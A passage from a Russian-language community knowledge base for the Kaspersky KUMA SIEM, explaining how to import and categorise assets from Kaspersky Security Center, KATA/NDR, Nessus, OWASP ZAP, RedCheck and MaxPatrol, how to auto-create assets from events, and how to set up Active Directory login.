изменения категорий предварительно нужно настроить аудит активов , подробнее можно посмотреть  тут . Вот так выглядит аудита активов (при ручном или любом другом типе добавления в категорию): Далее необходимо создать правило корреляции, которое будет менять статус KICS for Networks на неразрешенное при добавлении в категорию, например Main/Categorized assets/KICS-NET/unwanted . Оно будет выглядеть так (необходимо пробросить поле DeviceExternalID в групирующие поля): Пример сработки правила корреляции: Далее нужно создать (либо загрузить из Пресейл-Пака) правило реагирование которое будет запускать скрипт из Пресейл-Пака, правило должно выглядеть следующим образом: Скрипт необходимо загрузить и выгрузить на коррелятор и выполнить действия по этой статье . В результате правило корреляции и реагирование нужно добавить в коррелятор и обновить его параметры. ТАким образом получим, что при перемещении актива в определенную категорию (например Активным способом по подсети), автоматом эти активы будут помечаться недоверенными. Активы Добавление активов в KUMA различными способами Интеграция KUMA с KSC Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Официальная документация по данному разделу приведена в Онлайн-справке на продукт: https://support.kaspersky.com/KUMA/3.4/ru-RU/217923.htm   Интеграция KUMA с KSC позволяет получить активы и данные по ним, которыми управляет KSC, возможность запуска задач реагирования, перемещение активов между группами KSC, закрытие уязвимостей (при наличии лицензии от Kaspersky Endpoint Security для бизнеса Расширенный и выше) из интерфейса KUMA. Настройка интеграции KUMA с Kaspersky Security Center включает следующие этапы: · Создание в Консоли администрирования Kaspersky Security Center учетной записи пользователя. · Создание секрета в KUMA с типом credentials для соединения с Kaspersky Security Center . · Создание подключения к серверу Kaspersky Security Center. Создание учетной записи пользователя Чтобы создать учетную запись пользователя: Kaspersky Security Center Web Console 1. Перейдите в раздел Пользователи и роли → Пользователи и группы и выберите вкладку Пользователи . 2. Нажмите на кнопку Добавить . 3. В появившемся окне Добавить пользователя укажите параметры нового пользователя: · Имя · Пароль 4. Нажмите Сохранить для завершения создания учетной записи пользователя. Учетная запись пользователей добавлена в список пользователей.   Далее создайте роль пользователя с набором прав и разрешений в KSC : 1. Перейдите в раздел Пользователи и роли → Роли. 2. Нажмите на кнопку Добавить . 3. В появившемся окне Имя новой роли укажите название новой роли. Для интеграции необходимо заранее создать учетную запись (внутреннего пользователя) в KSC: 4. Нажмите ОК. 5. В появившемся окне параметров роли перейдите во вкладку Права доступа и предоставьте права согласно скриншотам ниже (в данном примере права предоставляются к приложению Kaspersky Endpoint Security для Windows 12.8.0)   6. Нажмите Сохранить .   Назначьте созданную роль ранее созданной учетной записи пользователя: 1. Перейдите в раздел Пользователи и роли → Пользователи и группы и выберите вкладку Пользователи . 2. Нажмите на кнопку лупы   и введите имя ранее созданной учетной записи пользователя. 3. Выберите созданную учетную запись пользователя и нажмите Назначить роль .   4. В появившемся окне Назначение ролей нажмите справа на Фильтр и укажите название ранее созданной роли. 5. Выберите созданную роль и нажмите Далее .   6. В следующем окне укажите область применения роли. Выберите «Сервер администрирования» .   7. Нажмите Готово . 8. Повторите процедуру и выберите в качестве области применения роли также Управляемые устройства .   Если в KSC используется MFA необходимо настроить исключение для учетной записи KUMA согласно этой инструкции: https://support.kaspersky.com/help/KSC/15.1/ru-RU/211462.htm   Консоль администрирования Kaspersky Security Center 1. В дереве консоли Kaspersky Security Center выберите узел с именем Сервера администрирования. 2. В рабочей области выбранного Сервера администрирования перейдите нажмите Свойства Сервера .   3. Перейдите в раздел Безопасность . 4. Создайте учетную запись внутреннего пользователя, нажав Внутренний пользователь и далее Добавить пользователя .    5 . В появившемся окне Новый пользователь укажите параметры нового пользователя: · Имя · Пароль     6. Нажмите ОК для завершения создания учетной записи пользователя. Учетная запись пользователей добавлена в список пользователей.   Далее назначьте соответствующие права новой учетной записи пользователя в KSC : 1. Перейдите в раздел Безопасность. 2. Нажмите Внутренний пользователь и в появившемся окне Выбор пользователя в поле Поиск укажите созданную учетную запись пользователя. 3. Выберите созданную учетную запись пользователя и нажмите ОК .     4. Выберите учетную запись в списке и в секции Разрешения для <имя учетной записи> на вкладке Права назначьте права согласно скриншоту ниже (в данном примере права предоставляются к приложению Kaspersky Endpoint Security для Windows 12.8.0).       5. Нажмите Применить и далее ОК . 6. Убедитесь, что в Группах устройств KSC , активы из которых необходимо импортировать включен параметр Наследовать параметры Сервера администрирования или родительской группы, или добавлена ранее созданная учетная запись с правами, как на скриншоте выше.     Если в KSC используется MFA необходимо настроить исключение для учетной записи KUMA согласно этой инструкции: https://support.kaspersky.com/help/KSC/15.1/ru-RU/211812.htm     Создание секрета в KUMA После создания учетной записи в KSC требуется добавить секрет в веб-интерфейсе KUMA . Этот ресурс будет хранить учетные данные для подключения к KSC . Чтобы создать секрет в KUMA выполните следующие действия: 1. Откройте раздел веб-интерфейса KUMA Ресурсы → Секреты . Отобразится список доступных секретов. 2. Нажмите на кнопку Добавить , чтобы создать новый секрет. 3. В появившемся окне Создание секрета введите данные секрета: · В поле Название укажите имя для добавляемого секрета. · В раскрывающемся списке Тенант выберите тенант, которому будет принадлежать создаваемый ресурс. · В раскрывающемся списке Тип выберите credentials . · В поле Пользователь укажите имя созданной учетной записи в KSC (для доменной учетной записи используйте формат: пользователь@домен ). · В поле Пароль укажите пароль учетной записи. · Нажмите Создать .   Из соображений безопасности после сохранения секрета строки, указанные в полях Пользователь и Пароль , скрываются Создание подключения к Kaspersky Security Center Чтобы создать подключение к Kaspersky Security Center: 1. Откройте веб-интерфейс KUMA и выберите раздел Параметры → Kaspersky Security Center . 2. В появившемся окне Интеграция с Kaspersky Security Center по тенантам нажмите Добавить параметры для нового тенанта. 3. В появившемся окне Интеграция с Kaspersky Security Center выберите тенант, для которого вы хотите создать подключение к Kaspersky Security Center, и нажмите Добавить подключение . 4. Справа в окне Параметры подключения укажите значения для следующих параметров: · Название – имя подключения. · URL – URL сервера Kaspersky Security Center в формате hostname:port или IPv4:port. · В раскрывающемся списке Секрет выберите ранее созданный секрет с учетными данными Kaspersky Security Center. 5. Нажмите Сохранить . 6. В окне Интеграция с Kaspersky Security Center также нажмите Сохранить. Вверху справа кнопки Добавить подключение и Импортировать активы станут активны. Подключение к серверу Kaspersky Security Center создано. Его можно использовать для импорта информации об активах из Kaspersky Security Center в KUMA и для создания задач, связанных с активами, в Kaspersky Security Center прямо из веб-интерфейса KUMA.   Импорт активов из Kaspersky Security Center Активы представляют собой рабочие станции, серверы, сетевое оборудование в организации. Вы можете добавить активы в KUMA , тогда KUMA будет автоматически добавлять идентификаторы активов при обогащении событий и при анализе событий Вы получите дополнительную информацию об устройствах в организации ( IP -адрес, владелец, актива, ОС, информация о программном и аппаратном обеспечении, уязвимости и др.). Активы в KUMA можно добавить следующими способами: · Импортировать активы: · Из отчет ов сканеров уязвимостей: · MP8 Scanner ; · MaxPatrol VM ; · RedCheck ; · Nessus ; · OWASP ZAP . · По расписанию: из Kaspersky Security Center и KICS for Networks. · Создать активы вручную через веб-интерфейс или с помощью API. Пользователь KUMA может: · Просматривать информацию об активах. · Искать активы. · Добавлять активы, редактировать их и удалять. · Экспортировать данные об активах в CSV -файл. Ниже рассмотрен процесс импорта активов из Kaspersky Security Center .   Чтобы выполнить импорт информации об активах из Kaspersky Security Center: 1. Откройте веб-интерфейс KUMA и перейдите в раздел Параметры → Kaspersky Security Center . 2. Выберите тенант, в котором ранее было создано подключение к Kaspersky Security Center . 3. В появившемся окне Интеграция с Kaspersky Security Center нажмите на созданное подключение к KSC и в появившемся окне Параметры подключения нажмите Загрузить иерархию . 4. Отобразится иерархия групп устройств KSC . Выберите группы, устройства из которых необходимо импортировать. 5. Нажмите на кнопку Импортировать активы . Будет создана задача по импорту активов.   6. Нажмите Сохранить . 7. В окне Интеграция с Kaspersky Security Center также нажмите Сохранить . 8. Перейдите в раздел Диспетчер задач . 9. Нажмите на задачу Импорт активов KSC со статусом Завершено . В окне справа Информация о задаче будет указано количество активов, информация о которых была импортирована в KUMA . Информация об активах успешно импортирована.   Чтобы просмотреть информацию об импортированном активе: 1. Перейдите в раздел Активы → выберите один из активов в списке. 2. В окне справа отобразится информация об активе.   Пример события, обогащенного информацией об активе, представлен на скриншоте ниже. Коллекторы KUMA с периодически получают списки активов от ядра KUMA и хранят их памяти в виде таблиц, позволяющих определить AssetID по IP адресу и/или FQDN. При поступлении события в коллектор, коллектор выполняет: · нормализацию данных в поля события KUMA ; · если в событии содержится информация о SourceAddress , Destination Address , DeviceAddress , SourceHostName , DestinationHostName , DeviceHostName коллектор выполняет поиск IP - AssetID и/или FQDN - AssetID ; · если информация об активе найдена, AssetID проставляется в соответствующее поле нормализованного события; · В общем случае, в нормализованное событие могут быть проставлены 3 типа AssetID : SourceAssetID , DestinationAssetID , DeviceAssetID .   Работа с активами Создание категории активов Вы можете разбить активы по категориям и затем использовать категории активов в условиях фильтров или правил корреляции. Например, можно создавать алерты более высокого уровня важности для активов из более критичной категории. По умолчанию все активы находятся в категории Активы без категории . Устройство можно добавить в несколько категорий. По умолчанию в KUMA категориям активов присвоены следующие уровни критичности: Low, Medium, High, Critical. Вы можете создать пользовательские категории и организовать вложенность. Категории активов можно наполнять следующими способами: · Вручную · Активно : динамически, если актив соответствует заданным условиям. Например, с момента перехода актива на указанную версию ОС или размещения актива в указанной подсети актив будет перемещен в заданную категорию. · Реактивно : при срабатывания корреляционного правила актив будет перемещаться в указанную группу.   Чтобы добавить категорию активов: 1. Перейдите в раздел Активы веб-интерфейса KUMA . 2. Выберите категорию Main / Categorized assets и нажмите Добавить категорию . 3. В появившемся окне Добавить категорию укажите: · В поле Название введите название категории. · Опционально в поле Родительская категория укажите место категории в дереве категорий. · В поле Тенант отображается тенант, в структуре которого вы выбрали родительскую категорию. · В раскрывающемся списке Способ категоризации выберите, как категория будет пополняться активами (в нашем примере будет использоваться способ Активно ). В зависимости от выбора может потребоваться указать дополнительные параметры: · Вручную – активы можно привязать к категории только вручную. · Активно – активы будут с определенной периодичностью привязываться к категории, если удовлетворяют заданному фильтру. · Реактивно – категория будет наполняться активами с помощью правил корреляции. · Назначьте уровень важности категории в раскрывающемся списке Уровень важности (в нашем примере будет использоваться уровень важности Критический ). · В раскрывающемся списке Регулярность категоризации укажите периодичность, с которой активы будут привязываться к категории (выберите 24 часа ). · В блоке параметров Условия укажите фильтр, которому должны соответствовать активы для привязывания к категории (укажите собственное условие фильтра или согласно скриншоту ниже, указав в условии Полное доменное имя наименование тестовой рабочей станции). · С помощью кнопки Проверить условия убедитесь, что указанный фильтр верен: при нажатии на кнопку отображается окно Активы, найденные по заданным условиям с перечнем активов, удовлетворяющих условиям поиска. · Нажмите Сохранить . Новая категория добавлена в дерево категорий активов. Поиск активов В KUMA есть два режима поиска активов. Переключение между режимами поиска осуществляется с помощью кнопок в верхней левой части окна: ·         – простой поиск по параметрам активов Название , Полное доменное имя , IP -адрес , MAC -адрес и Владелец . ·         – сложный поиск активов с помощью фильтрации по условиям и группам условий.   Чтобы выполнить простой поиск: 1. В разделе Активы веб-интерфейса KUMA убедитесь, что напротив поля Поиска активна кнопка 2. Введите поисковый запрос в поле Поиск и нажмите ENTER или значок . 3. В таблице отобразятся активы, у которых параметры Название , Полное доменное имя, IP -адрес , MAC -адрес и Владелец соответствуют критериям поиска. Чтобы выполнить c ложный поиск: 1. В разделе Активы веб-интерфейса KUMA убедитесь, что напротив поля Поиска активна кнопка 2. Добавьте условие фильтрации (можно добавить несколько условий, используя кнопку Добавить условие или создать Группу условий ) и нажмите Поиск . 3. В таблице отобразятся активы, которые соответствуют критериям поиска.   Экспорт данных об активах Данные об активах, отображаемых в таблице активов, можно экспортировать в виде CSV-файла. Чтобы экспортировать данные об активах: 1. Перейдите в раздел Активы и выполните настройку таблицы активов. В файл записываются только данные, указанные в таблице. Порядок отображения столбцов таблицы активов повторяется в экспортированном файле.   2. Выполните поиск нужных активов, выберите их, установив рядом с ними флажки. При необходимости вы можете выбрать сразу все активы в таблице, установив флажок в левой части заголовка таблицы активов. 3. Нажмите на кнопку Экспортировать в CSV . Данные об активах будут записаны в файл  assets_<дата экспорта>_<время экспорта>.csv и загружены автоматически. Статья онлайн-справки «Управление активами»: https://support.kaspersky.ru/kuma/3.4/217935   Статья KUMA Community «Интеграция KUMA с KSC»: https://kb.kuma-community.ru/books/integracii/page/integraciia-kuma-s-ksc   Видео « Интеграция с Kaspersky Security Center»: https://rutube.ru/video/c3012fb60209d69c7adedfefaaf93535/?playlist=540937   Импорт активов из KATA/NDR Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Данная инструкция предназначена строго для версии KATA/NDR 7.0 . Данная инструкция предназначена для импорта информации об активах, полученной KATA/NDR в KUMA. Настройка KATA/NDR Для настройки пересылки событий из KATA/NDR в SIEM KUMA необходимо выполнить следующие действия: 1. Перейти в веб-консоль KATA/NDR из-под учетной записи Администратора 2. Перейти в раздел  Параметры – Коннекторы  и нажать на кнопку Добавить коннектор 3. В открывшемся окне настроить параметры интеграции с KUMA: Тип коннектора : KUMA; Имя коннектора : произвольное название, например, KUMA; Пароль доступа к сертификату коннектора : задайте пароль для файла свертки; Пароль (повторно) : повторите введенный ранее пароль; Адрес сервера : Адрес CN KATA/NDR; Узел размещения коннектора : Адрес сервера в кластере KATA/NDR для размещения коллектора (в случае Single node будет совпадать с предыдущем пунктом); Пользователь программы : выбрать нужного из выпадающего списка. 3. По завершении заполнения необходимых полей нажать кнопку  Сохранить . В результате будет загружен архив, а также в интерфейсе KATA/NDR созданный коннектор перейдет в состояние Работает . Настройка KUMA Перейдите в веб-интерфейс KUMA на вкладку Параметры - KICS/KATA и задайте параметры интеграции: Выключено : галочка должна быть снята для работы интеграции; Тенант : выберите необходимый тенант из выпадающего списка ; Включить реагирование : требуется для изменения статуса устройств; Файл свертки: загрузите архив, полученный при настройке на стороне KATA/NDR; Пароль файла свертки : укажите пароль от архива, заданный при настройке на стороне KATA/NDR; По окончании настройки нажмите кнопку Сохранить . Nessus и OWASP ZAP В KUMA можно импортировать сведения об активах из отчетов о результатах сканирования устройств с помощью Nessus, OWASPZAP, системы контроля защищенности и соответствия стандартам. Импорт происходит через API с помощью утилиты import_asset_Nessus_OWASP.py (скрипт находится в Community-Pack в папке Assets [ссылка доступна из Дисклеймера ]). Импортированные активы отображаются в веб-интерфейсе KUMA в разделе Активы. При необходимости вы можете редактировать параметры активов. Предварительные настройки в KUMA Создайте пользователя с ролью главный администратор со следующими правами доступа для API : GET /tenants GET /users/whoami POST /assets/import Сохраните настройки, сгенерируйте токен и отдельно сохраните его, например, в каком-либо текстовом редакторе. Нажмите Сохранить . Добавьте дополнительнео поле с названием «Description» в разделе Параметры - Активы - Пользовательские атрибуты . Сохраните изменения. Импорт отчета от Nessus Пример отчета от Nessus в формате CSV: Plugin ID,CVE,CVSS v2.0 Base Score,Risk,Host,Protocol,Port,Name,Synopsis,Description,Solution,See Also,Plugin Output,STIG Severity,CVSS v3.0 Base Score,CVSS v2.0 Temporal Score,CVSS v3.0 Temporal Score,VPR Score,Risk Factor,BID,XREF,MSKB,Plugin Publication Date,Plugin Modification Date,Metasploit,Core Impact,CANVAS "70658","CVE-2008-5161","2.6","Low","1.2.3.9","tcp","22","SSH Server CBC Mode Ciphers Enabled","The SSH server is configured to use Cipher Block Chaining.","The SSH server is configured to support Cipher Block Chaining (CBC)encryption. This may allow an attacker to recover the plaintext messagefrom the ciphertext.Note that this plugin only checks for the options of the SSH server anddoes not check for vulnerable software versions.","Contact the vendor or consult product documentation to disable CBC modecipher encryption, and enable CTR or GCM cipher mode encryption.","","The following client-to-server Cipher Block Chaining (CBC) algorithmsare supported:3des-cbcaes128-cbcaes192-cbcaes256-cbcblowfish-cbccast128-cbcThe following server-to-client Cipher Block Chaining (CBC) algorithmsare supported:3des-cbcaes128-cbcaes192-cbcaes256-cbcblowfish-cbccast128-cbc","","","1.9","","2.5","Low","32319","CERT:958563;CWE:200","","2013/10/28","2018/07/30","","","" Далее необходимо хапустить скрипт import_asset_Nessus_OWASP.py по этому отчету указав необходимые параметры для его корректного запуска. Возможные опции скрипта: # python import_asset.py --help usage: import_asset.py [-h] --kuma KUMA --token TOKEN --tenant TENANT --vendor {Nessus,OWASPZAP} --filepath FILEPATH options: -h, --help show this help message and exit --kuma KUMA IP адрес сервера KUMA --token TOKEN Токен API --tenant TENANT Имя Тенанта --vendor {Nessus,OWASPZAP} Наименование вендора --filepath FILEPATH Путь до отчета Пример запуска по отчету Nessus: python3 import_asset_Nessus_OWASP.py --kuma 10.68.85.126 --token 98417b064c2a5cdfdf6bd011126c6453 --tenant Main --vendor Nessus --filepath C:\Users\ose\Downloads\nessus.csv В KUMA актив будет выглядит следующим образом: Импорт отчета от OWASP ZAP Пример отчета от Nessus в формате CSV: { "@programName": "OWASP ZAP", "@version": "2.13.0", "@generated": "Mon, 25 Sep 2023 11:43:20", "site": [ { "@name": "https://demo.lab", "@host": "demo.lab", "@port": "443", "@ssl": "true", "alerts": [ { "pluginid": "10035", "alertRef": "10035", "alert": "Strict-Transport-Security Header Not Set", "name": "Strict-Transport-Security Header Not Set", "riskcode": "1", "confidence": "3", "riskdesc": "Low (High)", "reference": "https://ya.ru", "desc": "

HTTP Strict Transport Security (HSTS)" } ] } ] } Далее необходимо хапустить скрипт import_asset_Nessus_OWASP.py по этому отчету указав необходимые параметры для его корректного запуска. Возможные опции скрипта: # python import_asset.py --help usage: import_asset.py [-h] --kuma KUMA --token TOKEN --tenant TENANT --vendor {Nessus,OWASPZAP} --filepath FILEPATH options: -h, --help show this help message and exit --kuma KUMA IP адрес сервера KUMA --token TOKEN Токен API --tenant TENANT Имя Тенанта --vendor {Nessus,OWASPZAP} Наименование вендора --filepath FILEPATH Путь до отчета Пример запуска по отчету OWASP ZAP: python3 import_asset_Nessus_OWASP.py --kuma 10.68.85.126 --token 98417b064c2a5cdfdf6bd011126c6453 --tenant Main --vendor OWASPZAP --filepath C:\Users\ose\Downloads\owasp.json В KUMA актив будет выглядит следующим образом: Импорт информации об активах RedCheck Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Импорт информации об активах RedCheck В KUMA можно импортировать сведения об активах из отчетов о результатах сканирования сетевых устройств с помощью RedCheck, системы контроля защищенности и соответствия стандартам. Импорт происходит через API с помощью утилиты  redcheck-tool.py . Импортированные активы отображаются в веб-интерфейсе KUMA в разделе Активы. При необходимости вы можете редактировать параметры активов. Импорт поддерживается из RedCheck 2.6.8 и выше Поддерживается импорт информации о хостах только под управлением ОС Windows Для работы утилиты требуется python верси 3.6 или выше, а также библиотеки: csv, re, json, requests, argparse, sys Чтобы импортировать данные об активах из отчета RedCheck: 1. Сформируйте в RedCheck отчет сканирования сетевых активов в формате CSV и скопируйте файл отчета на сервер со скриптом. Подробнее о задачах на сканирование и форматах выходных файлов см. в документации RedCheck. Импорт доступен из "Простых" отчетов " Уязвимости " и " Инвентаризация " сгруппированных по хостам в формате CSV. Подробнее на сайте RedCheck: https://docs.redcheck.ru/articles/#!redcheck-user-269/reports   2. Создайте токен для доступа к KUMA REST API.  Требования к учетным записям, для которых генерируется API-токен: Роль Администратора или Аналитика. Доступ к тенанту, в который будут импортированы активы. Настроены права на использование API-запросов GET /assets, GET /tenants, POST /assets/import 3. Скопируйте утилиту redcheck-tool.py на сервер ядра KUMA и сделайте файл утилиты исполняемым с помощью команды: chmod +x <путь до файла redcheck-tool.py> 4. Запустите утилиту redcheck-tool.py: python3 redcheck-tool.py --kuma-rest <адрес и порт сервера KUMA REST API> --token --tenant <название тенанта, куда будут помещены активы> --vuln-report <Полный путь к файлу отчета "Уязвимости"> --inventory-report <Полный путь к файлу с отчета "Инвентаризация"> Пример: python3 --kuma-rest example.kuma.com:7223 --token 949fc03d97bad5d04b6e231c68be54fb --tenant Main --vuln-report /home/user/vuln.csv --inventory-report /home/user/inventory.csv Вы можете использовать дополнительные флаги и команды для импорта. Например, команду для отображения расширенного отчета о полученных активах  -v . Подробное описание доступных флагов и команд приведено в таблице Флаги и команды утилиты redcheck-tool.py. Также для просмотра информации о доступных флагах и командах вы можете использовать команду --help . Информация об активах будет импортирована из отчета RedCheck в KUMA. В консоли отображаются сведения о количестве новых и обновленных активов. Пример: inventory has been imported for 2 host(s) software has been imported for 5 host(s) vulnerabilities has been imported for 4 host(s) Пример расширенного вывода информации об импорте: [inventory import] Host: localhost Code: 200 Response: {'insertedIDs': {'0': '52ca11c6-a0e6-4dfd-8ef9-bf58189340f8'}, 'updatedCount': 0, 'errors': []} [inventory import] Host: 10.0.0.2 Code: 200 Response: {'insertedIDs': {'0': '1583e552-5137-4164-92e0-01e60fb6edb0'}, 'updatedCount': 0, 'errors': []} [software import][error] Host: localhost Skipped asset with FQDN localhost or IP 127.0.0.1 [software import] Host: 10.0.0.2 Code: 200 Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []} [vulnerabilities import] Host: 10.0.0.2 Code: 200 Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []} [vulnerabilities import] Host: 10.0.0.1 Code: 200 Response: {'insertedIDs': {'0': '0628f683-c20c-4107-abf3-d837b3dbbf01'}, 'updatedCount': 0, 'errors': []} [vulnerabilities import] Host: localhost Code: 200 Response: {'insertedIDs': {}, 'updatedCount': 1, 'errors': []} [vulnerabilities import] Host: 10.0.0.3 Code: 200 Response: {'insertedIDs': {'0': 'ed01e0a8-dcb0-4609-ab2b-91e50092555d'}, 'updatedCount': 0, 'errors': []} inventory has been imported for 2 host(s) software has been imported for 1 host(s) vulnerabilities has been imported for 4 host(s) Поведение утилиты при импорте активов: Данные импортированных в KUMA через API активов перезаписываются, а сведения об их устраненных уязвимостях удаляются. Активы с недействительными данными пропускаются.  Флаги и команды утилиты redcheck-tool.py Флаги и команды Обязательный Описание --kuma-rest <адрес и порт сервера ядра KUMA> Да По умолчанию для обращения по API используется порт 7223. При необходимости его можно изменить. --token <токен> Да Значение в параметре должно содержать только токен. Учетной записи, для которой генерируется API-токен, должна быть присвоена роль Администратора или Аналитика. --tenant <название тенанта> Да Название тенанта KUMA, в который будут импортированы активы из отчета RedCheck --vuln-report <полный путь к файлу отчета "Уязвимости"> Да Файл должен содержать отчет "Уязвимости" в формате CSV --inventory-report <полный путь к файлу отчета "Инвентаризация"> Нет Файл должен содержать отчет "Инвентаризация" в формате CSV -v  Нет Выведение расширенной информации об импорте активов Возможные ошибки Сообщение об ошибке Описание Tenant %w not found Имя тенанта не найдено Tenant search error: Unexpected status Code: %d При поиске тенанта был получен неожиданный код ответа HTTP Asset search error: Unexpected status Code: %d При поиске актива был получен неожиданный код ответа HTTP [%w import][error] Host: %w Skipped asset with FQDN localhost or IP 127.0.0.1 При импорте информации инвентаризации/уязвимостей был пропущен хост с fqdn=localhost или ip=127.0.0.1 Импорт данных из отчетов MaxPatrol в KUMA 3.2 Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и НЕ является официальной рекомендацией вендора. Ссылка на документацию https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265426.htm   Импорт Утилита для импорта находится в следующей директории  kuma-ansible-installer/roles/kuma/files/maxpatrol-tool Для импорта необходимо выполнить следующие шаги: Сформировать отчет  сканирования сетевых активов в формате  XML file Поместить отчет и скрипт в одной директории (можно выполнить на ядре KUMA) Подготовить API права для утилиты: В KUMA создать пользователя kuma-mp Дать права на GET /users/whoami и POST /assets/import Сгенерировать токен (его сохранить в файл на сервере, где будет выполнятся команда Далее в веб-консоли KUMA нужно будет скачать REST API CA Этот сертификат нужно перенести на сервер, где будет выполнятся скрипт  Выполнить команду: ./maxpatrol-tool --kuma-rest <адрес и порт сервера KUMA REST API> --token <путь и имя файла с API-токеном> --tenant <название тенанта, куда будут помещены активы> <путь и имя файла с отчетом MaxPatrol> --cert <путь к файлу сертификата Ядра KUMA> Пример: ./maxpatrol-tool --kuma-rest example.kuma.com:7223 --token token.txt --tenant Main mp.xml --cert core-external-ca.cert Для автоматизации добавления активов из папки по отчетам - можно воспользоваться скриптом . Импорт данных об активах из MaxPatrol VM Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и  НЕ является официальной рекомендацией вендора. Данная статья является дополнением к основной статье официальной документации https://support.kaspersky.com/help/KUMA/3.2/ru-RU/265427.htm   Протестирована работоспособность c MaxPatrol VM 2.1 и 2.9 Подготовительные действия в MP VM Созданной учетной записи в MaxPatrol VM присвойте роль "Оператор". Создание конфигурационного файла В конфигурационном файле kuma-ptvm-config.yaml : в секции MaxPatrol для параметра endpoint  укажите MP API endpoint URL без указания cхемы (https://) и порта (по умолчанию, MP VM использует порт 443 для API-запросов) в секции MaxPatrol для параметра password укажите пароль, при этом учитывайте, что если пароль содержит спецсимволы (":", "-", "$", "*" и др.),  в таком случае пароль необходимо "обернуть" в одинарные или двойные кавычки в секции tenants для параметра fqdn укажите регулярное выражение ".*", если не требуется искать активы, fqdn которых соответствует заданному регулярному выражению в секции tenants можно не указывать значения подсетей для параметра networks , если необходимо импортировать все активы, доступные в MP VM Поиск импортированных активов Для поиска импортированных активов MP VM перейдите в Активы  -> Выберите Поиск с условиями  и задайте условие согласно скриншоту ниже. Нажмите Поиск . Если актив уже ранее был импортирован из KSC и аналогичный актив импортируется из MP VM, в таком случае карточка актива дополнится информацией об уязвимостях, обнаруженных MP VM. Если актив изначально был импортирован из MP VM и далее аналогичный актив (с аналогичным IP и FQDN) будет импортирован из KSC, в таком случае актив "переподчинится" на управляемый из KSC. Для поиска активов, которые ранее уже были импортированы из KSC и информация в карточке таких активов была дополнена данными MP VM, выберите Поиск с условиями  и задайте условия согласно скриншоту ниже. Нажмите Поиск . Карточка актива с информацией об уязвимостях, полученной из KSC и из MP VM выглядит согласно скриншоту ниже. Автоматическое добавление активов Описание Данный скрипт и набор ресурсов позволяют автоматически на основании информации из событий (ip-адреса, доменные имена) создавать активы в KUMA Данный скрипт рекомендуется использовать только в тестовой или демонстрационной инсталляции Требования python 3.6+ urllib argparse json requests os KUMA 3.0.2 Подготовка скрипта 1. Поместите файлы  asset-import.py , kumaPublicApiV1.py , params.json на сервер коррелятора в папку scripts: /opt/kaspersky/kuma/correlator/ id /scripts id коррелятора можно получить из веб-интерфейса KUMA: Ресурсы -> Активные сервисы -> Выбрать галочкой коррелятор и в верхнем меню Копировать идентификатор сервиса . Идентификатор будет скопирован в буфер обмена. 2. Внесите изменения в файл  params.json : kumaAddress - укажите ip-адрес сервера ядра KUMA kumaAPIPort - укажите API-порт ядра KUMA (значение по умолчанию 7223 , если сомневаетесь - оставьте без изменений) kumaToken - токен для работы с API с правами POST /assets/import 3. Измените владельца файлов на kuma: chown kuma:kuma asset-import.py kumaPublicApiV1.py params.json 4. Разрешите запуск файла  asset-import.py : chmod +x asset-import.py Подготовка KUMA Импортируйте все ресурсы из файла auto_asset_add (Пароль импорта: Qwerty123!) Если нужно, внесите изменения в фильтры org address filter и org hostname filter , указав домены и подсети вашей организации, по ним отбираются активы из событий для импорта. Привяжите все правила корреляции Auto import asset info (src/dst/dvc) к коррелятору Привяжите правило реагирования Auto asset import Обновите параметры сервиса коррелятора Результат В результате проделанных манипуляций в KUMA будут создаваться активы на основании информации, получаемой из событий. Файлы Все ресурсы доступны по ссылке: https://box.kaspersky.com/d/1eb25f174a3e44e2a1be/   AD/LDAP/ALD Pro Интеграции с различными службами каталогов Интеграция KUMA с Active Directory (AD) При интеграции с AD/ADFS важно иметь единое время на системах, настоятельно рекомендуется настроить NTP   Аутентификация работает только для одного домена. Поэтому  все группы должны быть созданы в корневом домене. Пример инфраструктуры AD: корневой домен леса - example.com контроллер домена - dc-01.example.com дочерний домен - subdomain.example.com В дочернем домене созданы: OU «KUMA subdomain» Universal группы безопасности: «kuma_subdomain_analyst», «kuma_subdomain_admin», «kuma_subdomain_operators» Пользователи: subdom_admin, subdom_analyst Пользователи являются членами соответствующих групп:  Настройки KUMA  Base DN – корневой домен ( не обязательно весь корневой домен , зависит от вашего AD) URL – контроллеры корневого домена, порт глобального каталога ( обязательно ) Важно: Все группы доступа должны быть UNIVERSAL У пользователей в AD должно быть заполнен атрибут email Далее – для каждого тенанта указываете DistinguishedName групп, соответствующих правам доступа. Информация по ролям и их возможностям: https://support.kaspersky.com/help/KUMA/2.1/ru-RU/218031.htm   Важный момент: Предоставление доступа происходит по принципу « наименьших прав ». Если учетка пользователя одновременно состоит нескольких в группах одного тенанта. Например: kuma-analysts и kuma-admins, то пользователь получит права аналитика. Поэтому, при переводе работников из операторов в аналитики или аналитиков в админы, необходимо не только добавить пользователя в соответствующую новую группы, но еще и удалить из старой группы. Результат Для доменной аутентификации, как таковой учетки в KUMA не требуется. Когда все настроено, вводится доменный логин и пароль и в этот момент KUMA биндится к LDAP. При аутентификации, пользователь вводит в консоль свою доменную учетку в формате UPN (user@example.com) и, на основании членства этой учетки в той или иной группе, пользователю предоставляется доступ к разным тенантам с указанными правами. Залогинившись под доменной учеткой subdom_analyst@subdomain.example.com Получаем права роли analyst в тенанте Main Пример входа в KUMA с доменной учетной записью (kuma-admin@sales.lab): Права API можно выдавать только для внутренних пользователей, не из AD Порты AD Порт 3268 . Этот порт используется для запросов, специально предназначенных для глобального каталога. Запросы LDAP, отправленные на порт 3268, можно использовать для поиска объектов во всем лесу. Однако могут быть возвращены только атрибуты, помеченные для репликации в глобальный каталог. Например, отдел пользователя не может быть возвращен через порт 3268, так как этот атрибут не реплицируется в глобальный каталог. Порт 389 . Этот порт используется для запроса информации с локального контроллера домена. Запросы LDAP, отправленные на порт 389, можно использовать для поиска объектов только в домашнем домене глобального каталога. Однако запрашивающее приложение может получить все атрибуты этих объектов. Например, запрос на порт 389 может быть использован для получения отдела пользователя. При интеграции с SSL необходимо использовать сертификат Active Directory. В KUMA поддерживаются открытые ключи сертификата X.509 в Base64. Стандартный порт LDAPS - 636 . Полезные 